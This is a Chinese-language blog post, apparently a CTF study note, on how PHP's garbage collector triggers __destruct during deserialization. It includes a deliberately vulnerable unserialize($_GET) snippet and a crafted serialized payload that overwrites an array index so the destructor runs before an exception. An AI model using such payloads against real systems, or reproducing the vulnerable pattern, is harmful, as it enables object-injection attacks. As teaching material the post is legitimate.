PHP GC回收机制

· 723 words · 2 minute read

序言 🔗

学反序列化的时候遇到PHP的回收机制,看过后老是忘记,所以决定写篇文章简单记录一下GC回收机制在ctf中的利用点。


什么是GC回收机制?

垃圾回收机制(Garbage Collector 简称GC),PHP的GC回收机制是一种自动内存管理机制,用于跟踪程序中不再使用的变量和对象,并释放它们所占用的内存空间。这一机制通过引用计数和标记-清除等算法来实现。引用计数是PHP GC回收机制的基础,每个PHP变量都有一个引用计数器,记录着该变量被引用的次数。当引用计数减少到零时,PHP的GC机制会认为该变量不再被使用,从而将其所占用的内存空间释放,GC回收机制可以通过修改PHP配置实现开启和关闭。

GC回收机制在PHP反序列化中的使用

GC如果在PHP反序列化中生效,那它就会直接触发_destruct方法,这里结合ctf题目来学习

情况一:变量被unset函数处理

<?php
highlight_file(__FILE__); 
error_reporting(0); 
class test{ 
    public $num; 
    public function __construct($num) {
        $this->num = $num; echo $this->num."__construct"."</br>"; 
    }
    public function __destruct(){
        echo $this->num."__destruct()"."</br>"; 
    }
    }
$a = new test(1); 
unset($a);
$b = new test(2); 
$c = new test(3);

alt text

可以看到第一个类的__destruct被提前触发

情况二:对象为NULL时也可以触发__destruct

<?php
show_source(__FILE__);
$flag = "flag";
class B {
  function __destruct() {
    global $flag;
    echo $flag;
  }
}
$a = unserialize($_GET['1']);
throw new Exception('你想干什么');

alt text

可以看到这里正常反序列化后是会抛出异常而不执行destruct的,但是通过修改反序列化内容可以绕过异常使得__destruct被执行

首先引入数组进行反序列化

<?php
show_source(__FILE__);

class B {
  function __destruct() {
    global $flag;
    echo $flag;
  }
}
$a=array(new B,0);

echo serialize($a);

得到序列化内容:

alt text

此时将第二个索引置空,就可以触发GC回收机制,因此修改为:

a:2:{i:0;O:1:"B":0:{}i:0;i:0;}

尝试一下:

alt text

其实就是先将数组第一个索引指向对象,第二个索引指向0,序列化后修改索引,实现覆盖,让对象变成NULL,这样就成功触发GC回收机制使得destruct被执行。

comments powered by Disqus